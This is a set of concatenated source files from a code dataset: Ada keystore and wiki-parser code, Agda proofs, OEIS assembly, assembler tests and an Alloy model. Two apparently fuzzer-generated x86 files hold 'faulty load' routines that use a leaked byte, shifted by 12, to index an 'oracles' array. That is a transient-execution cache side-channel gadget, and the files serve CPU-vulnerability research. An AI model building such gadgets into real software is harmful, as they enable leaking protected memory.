xor %rdi, %rdi
pop %rdi
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r9
push %rax
push %rcx
push %rdi
// Store
lea addresses_PSE+0x16842, %rdi
nop
nop
sub %rcx, %rcx
movb $0x51, (%rdi)
and $36910, %rcx
// Load
lea addresses_normal+0x1aad2, %rcx
nop
nop
nop
sub $65070, %r15
mov (%rcx), %r9
nop
cmp %r12, %r12
// Load
lea addresses_D+0x17542, %r9
clflush (%r9)
nop
nop
nop
nop
and $50907, %rdi
movb (%r9), %r13b
nop
nop
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_normal+0xd842, %r12
nop
nop
nop
nop
cmp $62638, %rcx
movw $0x5152, (%r12)
add $55244, %r13
// Store
mov $0x2167020000000442, %rdi
nop
nop
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %r15
movq %r15, (%rdi)
nop
nop
nop
nop
and %r12, %r12
// Faulty Load
mov $0x2167020000000442, %rcx
nop
nop
xor $51555, %rax
mov (%rcx), %r12
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'58': 21828, '00': 1}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
programs/oeis/224/A224996.asm | neoneye/loda | 22 | 175087 | <filename>programs/oeis/224/A224996.asm
; A224996: Floor(1/f(x^(1/n))) for x = 2, where f computes the fractional part.
; 2,3,5,6,8,9,11,12,13,15,16,18,19,21,22,24,25,26,28,29,31,32,34,35,37,38,39,41,42,44,45,47,48,49,51,52,54,55,57,58,60,61,62,64,65,67,68,70,71,73,74,75,77,78,80,81,83,84,86,87,88,90,91,93,94,96,97
add $0,19
mul $0,49
sub $0,33
div $0,34
sub $0,24
|
src/keystore-passwords-files.adb | thierr26/ada-keystore | 0 | 8782 | -----------------------------------------------------------------------
-- keystore-passwords-files -- File based password provider
-- Copyright (C) 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Interfaces.C.Strings;
with Ada.Directories;
with Ada.Streams.Stream_IO;
with Util.Systems.Types;
with Util.Systems.Os;
with Util.Log.Loggers;
with Keystore.Random;
package body Keystore.Passwords.Files is
subtype Key_Length is Util.Encoders.Key_Length;
use type Ada.Streams.Stream_Element_Offset;
-- GNAT 2019 complains about unused use type but gcc 7.4 fails if it not defined (st_mode).
pragma Warnings (Off);
use type Interfaces.C.int;
use type Interfaces.C.unsigned;
use type Interfaces.C.unsigned_short;
pragma Warnings (On);
function Verify_And_Get_Size (Path : in String) return Ada.Streams.Stream_Element_Count;
type Provider (Len : Key_Length) is limited new Keystore.Passwords.Provider with record
Password : Ada.Streams.Stream_Element_Array (1 .. Len);
end record;
type File_Provider_Access is access all Provider;
-- Get the password through the Getter operation.
overriding
procedure Get_Password (From : in Provider;
Getter : not null access procedure (Password : in Secret_Key));
type Key_Provider (Len : Key_Length) is new Provider (Len)
and Keys.Key_Provider and Internal_Key_Provider with null record;
type Key_Provider_Access is access all Key_Provider'Class;
-- Get the Key, IV and signature.
overriding
procedure Get_Keys (From : in Key_Provider;
Key : out Secret_Key;
IV : out Secret_Key;
Sign : out Secret_Key);
Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("Keystore.Passwords.Files");
overriding
procedure Save_Key (Provider : in Key_Provider;
Data : out Ada.Streams.Stream_Element_Array);
function Verify_And_Get_Size (Path : in String) return Ada.Streams.Stream_Element_Count is
P : Interfaces.C.Strings.chars_ptr;
Stat : aliased Util.Systems.Types.Stat_Type;
Res : Integer;
Result : Ada.Streams.Stream_Element_Count;
Dir : constant String := Ada.Directories.Containing_Directory (Path);
begin
-- Verify that the file is readable only by the current user.
P := Interfaces.C.Strings.New_String (Path);
Res := Util.Systems.Os.Sys_Stat (Path => P,
Stat => Stat'Access);
Interfaces.C.Strings.Free (P);
if Res /= 0 then
Log.Info ("Password file {0} does not exist", Path);
raise Keystore.Bad_Password with "Password file does not exist";
end if;
if (Stat.st_mode and 8#0077#) /= 0 and Util.Systems.Os.Directory_Separator = '/' then
Log.Info ("Password file {0} is not safe", Path);
raise Keystore.Bad_Password with "Password file is not safe";
end if;
if Stat.st_size = 0 then
Log.Info ("Password file {0} is empty", Path);
raise Keystore.Bad_Password with "Password file is empty";
end if;
if Stat.st_size > MAX_FILE_SIZE then
Log.Info ("Password file {0} is too big", Path);
raise Keystore.Bad_Password with "Password file is too big";
end if;
Result := Ada.Streams.Stream_Element_Offset (Stat.st_size);
-- Verify that the parent directory is readable only by the current user.
P := Interfaces.C.Strings.New_String (Dir);
Res := Util.Systems.Os.Sys_Stat (Path => P,
Stat => Stat'Access);
Interfaces.C.Strings.Free (P);
if Res /= 0 then
Log.Info ("Directory {0} is not safe for password file", Dir);
raise Keystore.Bad_Password
with "Directory that contains password file cannot be checked";
end if;
if (Stat.st_mode and 8#0077#) /= 0 and Util.Systems.Os.Directory_Separator = '/' then
Log.Info ("Directory {0} is not safe for password file", Dir);
raise Keystore.Bad_Password
with "Directory that contains password file is not safe";
end if;
Log.Info ("Password file {0} passes the security checks", Path);
return Result;
end Verify_And_Get_Size;
-- ------------------------------
-- Create a password provider that reads the file to build the password.
-- The file must have the mode rw------- (600) and its owning directory
-- the mode rwx------ (700). The Bad_Password exception is raised if
-- these rules are not verified.
-- ------------------------------
function Create (Path : in String) return Provider_Access is
Size : Ada.Streams.Stream_Element_Offset;
File : Ada.Streams.Stream_IO.File_Type;
Result : File_Provider_Access;
Last : Ada.Streams.Stream_Element_Offset;
begin
Size := Verify_And_Get_Size (Path);
Ada.Streams.Stream_IO.Open (File => File,
Mode => Ada.Streams.Stream_IO.In_File,
Name => Path);
Result := new Provider '(Len => Size,
others => <>);
Ada.Streams.Stream_IO.Read (File, Result.Password, Last);
Ada.Streams.Stream_IO.Close (File);
return Result.all'Access;
end Create;
-- ------------------------------
-- Get the password through the Getter operation.
-- ------------------------------
overriding
procedure Get_Password (From : in Provider;
Getter : not null access procedure (Password : in Secret_Key)) is
Password : Keystore.Secret_Key (Length => From.Len);
begin
Util.Encoders.Create (From.Password, Password);
Getter (Password);
end Get_Password;
-- ------------------------------
-- Create a key provider that reads the file. The file is split in three parts
-- the key, the IV, the signature which are extracted by using `Get_Keys`.
-- ------------------------------
function Create (Path : in String) return Keys.Key_Provider_Access is
Size : Ada.Streams.Stream_Element_Offset;
File : Ada.Streams.Stream_IO.File_Type;
Result : Key_Provider_Access;
Last : Ada.Streams.Stream_Element_Offset;
begin
Size := Verify_And_Get_Size (Path);
Ada.Streams.Stream_IO.Open (File => File,
Mode => Ada.Streams.Stream_IO.In_File,
Name => Path);
Result := new Key_Provider '(Len => Size,
others => <>);
Ada.Streams.Stream_IO.Read (File, Result.Password, Last);
Ada.Streams.Stream_IO.Close (File);
return Result.all'Access;
end Create;
-- ------------------------------
-- Get the Key, IV and signature.
-- ------------------------------
overriding
procedure Get_Keys (From : in Key_Provider;
Key : out Secret_Key;
IV : out Secret_Key;
Sign : out Secret_Key) is
First : Ada.Streams.Stream_Element_Offset := 1;
Last : Ada.Streams.Stream_Element_Offset := First + Key.Length - 1;
begin
if From.Len /= Key.Length + IV.Length + Sign.Length then
raise Keystore.Bad_Password with "Invalid length for the key file";
end if;
Util.Encoders.Create (From.Password (First .. Last), Key);
First := Last + 1;
Last := First + IV.Length - 1;
Util.Encoders.Create (From.Password (First .. Last), IV);
First := Last + 1;
Last := First + Sign.Length - 1;
Util.Encoders.Create (From.Password (First .. Last), Sign);
end Get_Keys;
overriding
procedure Save_Key (Provider : in Key_Provider;
Data : out Ada.Streams.Stream_Element_Array) is
begin
Data := Provider.Password;
end Save_Key;
-- ------------------------------
-- Generate a file that contains the keys. Keys are generated using a random generator.
-- The file is created with the mode rw------- (600) and the owning directory is forced
-- to the mode rwx------ (700).
-- ------------------------------
function Generate (Path : in String;
Length : in Key_Length := DEFAULT_KEY_FILE_LENGTH)
return Keys.Key_Provider_Access is
Result : Key_Provider_Access;
Random : Keystore.Random.Generator;
Dir : constant String := Ada.Directories.Containing_Directory (Path);
File : Ada.Streams.Stream_IO.File_Type;
P : Interfaces.C.Strings.chars_ptr;
Res : Integer with Unreferenced;
begin
if not Ada.Directories.Exists (Dir) then
Log.Info ("Creating directory {0}", Dir);
Ada.Directories.Create_Path (Dir);
end if;
Log.Info ("Creating password file {0}", Path);
Ada.Streams.Stream_IO.Create (File => File,
Mode => Ada.Streams.Stream_IO.Out_File,
Name => Path);
Result := new Key_Provider '(Len => Length,
others => <>);
Random.Generate (Result.Password);
Ada.Streams.Stream_IO.Write (File, Result.Password);
Ada.Streams.Stream_IO.Close (File);
P := Interfaces.C.Strings.New_String (Path);
Res := Util.Systems.Os.Sys_Chmod (Path => P,
Mode => 8#0600#);
Interfaces.C.Strings.Free (P);
P := Interfaces.C.Strings.New_String (Dir);
Res := Util.Systems.Os.Sys_Chmod (Path => P,
Mode => 8#0700#);
Interfaces.C.Strings.Free (P);
return Result.all'Access;
end Generate;
end Keystore.Passwords.Files;
|
Graphs/UnionGraph.agda | Smaug123/agdaproofs | 4 | 13685 | {-# OPTIONS --warning=error --safe --without-K #-}
open import LogicalFormulae
open import Agda.Primitive using (Level; lzero; lsuc; _⊔_)
open import Functions.Definition
open import Setoids.Setoids
open import Setoids.DirectSum
open import Setoids.Subset
open import Graphs.Definition
open import Sets.FinSet.Definition
open import Sets.FinSet.Lemmas
open import Numbers.Naturals.Semiring
open import Numbers.Naturals.Order
open import Sets.EquivalenceRelations
open import Graphs.PathGraph
module Graphs.UnionGraph where
unionGraph : {a b c d e f : _} {V' : Set a} {V : Setoid {a} {b} V'} (G : Graph c V) {W' : Set d} {W : Setoid {d} {e} W'} (H : Graph f W) → Graph (c ⊔ f) (directSumSetoid V W)
Graph._<->_ (unionGraph {c = c} {f = f} G H) (inl v) (inl v2) = embedLevel {c} {f} (Graph._<->_ G v v2)
Graph._<->_ (unionGraph G H) (inl v) (inr w) = False'
Graph._<->_ (unionGraph G H) (inr w) (inl v) = False'
Graph._<->_ (unionGraph {c = c} {f = f} G H) (inr w) (inr w2) = embedLevel {f} {c} (Graph._<->_ H w w2)
Graph.noSelfRelation (unionGraph G H) (inl v) (v=v ,, _) = Graph.noSelfRelation G v v=v
Graph.noSelfRelation (unionGraph G H) (inr w) (w=w ,, _) = Graph.noSelfRelation H w w=w
Graph.symmetric (unionGraph G H) {inl x} {inl y} (x=y ,, _) = Graph.symmetric G x=y ,, record {}
Graph.symmetric (unionGraph G H) {inr x} {inr y} (x=y ,, _) = Graph.symmetric H x=y ,, record {}
Graph.wellDefined (unionGraph G H) {inl x} {inl y} {inl z} {inl w} (x=y ,, _) (y=z ,, _) (z=w ,, _) = Graph.wellDefined G x=y y=z z=w ,, record {}
Graph.wellDefined (unionGraph G H) {inr x} {inr y} {inr z} {inr w} (x=y ,, _) (y=z ,, _) (z=w ,, _) = Graph.wellDefined H x=y y=z z=w ,, record {}
|
src/wiki-parsers-html.ads | jquorning/ada-wiki | 18 | 25044 | <reponame>jquorning/ada-wiki<filename>src/wiki-parsers-html.ads
-----------------------------------------------------------------------
-- wiki-parsers-html -- Wiki HTML parser
-- Copyright (C) 2015, 2016 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
-- This is a small HTML parser that is called to deal with embedded HTML in wiki text.
-- The parser is intended to handle incorrect HTML and clean the result as much as possible.
-- We cannot use a real XML/Sax parser (such as XML/Ada) because we must handle errors and
-- backtrack from HTML parsing to wiki or raw text parsing.
--
-- When parsing HTML content, we call the <tt>Start_Element</tt> or <tt>End_Element</tt>
-- operations. The renderer is then able to handle the HTML tag according to its needs.
private package Wiki.Parsers.Html is
pragma Preelaborate;
-- Parse a HTML element <XXX attributes>
-- or parse an end of HTML element </XXX>
procedure Parse_Element (P : in out Parser);
-- Parse an HTML entity such as and replace it with the corresponding code.
procedure Parse_Entity (P : in out Parser;
Token : in Wiki.Strings.WChar);
end Wiki.Parsers.Html;
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2383.asm | ljhsiun2/medusa | 9 | 85221 | <filename>Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2383.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xfd0, %rbp
nop
nop
nop
nop
nop
inc %r11
movl $0x61626364, (%rbp)
inc %r15
lea addresses_D_ht+0x1e9d4, %r12
nop
nop
add $30451, %r10
mov $0x6162636465666768, %r8
movq %r8, %xmm6
movups %xmm6, (%r12)
nop
nop
nop
cmp $43842, %rsi
lea addresses_normal_ht+0x1c0d4, %rbp
nop
nop
sub $48233, %r11
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rbp)
nop
nop
nop
sub %rbp, %rbp
lea addresses_normal_ht+0xb5b4, %rsi
lea addresses_normal_ht+0x6094, %rdi
nop
nop
nop
nop
xor %r8, %r8
mov $19, %rcx
rep movsb
nop
nop
nop
add %rsi, %rsi
lea addresses_UC_ht+0x19d14, %rsi
lea addresses_WT_ht+0xed4, %rdi
nop
nop
nop
nop
nop
cmp $42713, %rbp
mov $9, %rcx
rep movsq
nop
add %rdi, %rdi
lea addresses_WC_ht+0x1295a, %rcx
clflush (%rcx)
nop
nop
nop
xor $21718, %rdi
movb $0x61, (%rcx)
sub %r11, %r11
lea addresses_UC_ht+0x10590, %rsi
lea addresses_WT_ht+0xc746, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and %r10, %r10
mov $71, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0x172d4, %r11
nop
nop
nop
xor %rbp, %rbp
movb $0x61, (%r11)
add $31240, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rax
push %rbp
push %rdx
push %rsi
// Faulty Load
lea addresses_A+0xf1d4, %rax
nop
cmp %r8, %r8
mov (%rax), %r15d
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rsi
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
oeis/135/A135214.asm | neoneye/loda-programs | 11 | 171172 | ; A135214: a(1)=1, a(n) = a(n-1) + n^5 if n odd, a(n) = a(n-1) + n^4 if n is even.
; Submitted by <NAME>(s4)
; 1,17,260,516,3641,4937,21744,25840,84889,94889,255940,276676,647969,686385,1445760,1511296,2931153,3036129,5512228,5672228,9756329,9990585,16426928,16758704,26524329,26981305,41330212,41944868,62456017,63266017,91895168,92943744,132079137,133415473,185937348,187616964,256960921,259046057,349270256,351830256,467686457,470798153,617806596,621554692,806082817,810560273,1039905280,1045213696,1327688945,1333938945,1678964196,1686275812,2104471305,2112974361,2616258736,2626093232,3227785289
mov $3,$0
add $3,6
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
sub $0,$3
mov $2,$0
add $2,1
add $4,1
gcd $4,2
mov $6,3
add $6,$4
pow $2,$6
add $1,$2
lpe
mov $0,$1
sub $0,28
|
tools-src/gnu/binutils/gas/testsuite/gasp/sdata.asm | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 177708 | <reponame>enfoTek/tomato.linksys.e2000.nvram-mod
.SDATA "HI","STEVE"
.SDATA "HI" , "STEVE" , <72>,<73>,<83><69><86><69>
.SDATA "H""I" , "STEVE" , <72>,<73>,<83><69><86><69>
.SDATA "SHOULD NOT FAIL" "HERE"
.SDATA "SHOULD FAIL" foo "HERE"
.SDATAB 8,"BOINK"
; examples from book
.SDATAB 2,"AAAAA"
.SDATAB 2,"""BBB"""
.SDATAB 2,"AABB"<H'07>
a1: .SDATAZ "HI"
a2: .SDATAC "HI"
a3: .SDATA "HI"
|
pkgs/tools/yasm/src/modules/parsers/gas/tests/execsect.asm | manggoguy/parsec-modified | 2,151 | 89453 | .section .foobar, "ax",@progbits
xorl %eax, %eax
.p2align 3
xorl %eax, %eax
|
PRG/levels/HighUp/3-6End.asm | narfman0/smb3_pp1 | 0 | 93448 | ; Original address was $AA3D
; 3-6 end
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_03 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_01 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG
.byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKED
.byte LEVEL4_BGBANK_INDEX(4) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_ATHLETIC | LEVEL5_TIME_300
.byte $2F, $09, $D1, $17, $07, $10, $04, $16, $08, $42, $18, $08, $04, $18, $0A, $04
.byte $18, $0E, $10, $05, $17, $0F, $43, $19, $0F, $04, $19, $12, $04, $1A, $16, $10
.byte $20, $40, $19, $09, $FF
|
alloy4fun_models/trashltl/models/8/3yBFmFS4P9W37Gn5X.als | Kaixi26/org.alloytools.alloy | 0 | 255 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred id3yBFmFS4P9W37Gn5X_prop9 {
all p:Protected | always p in Protected
}
pred __repair { id3yBFmFS4P9W37Gn5X_prop9 }
check __repair { id3yBFmFS4P9W37Gn5X_prop9 <=> prop9o } |
programs/oeis/008/A008599.asm | karttu/loda | 0 | 26618 | <reponame>karttu/loda
; A008599: Multiples of 17.
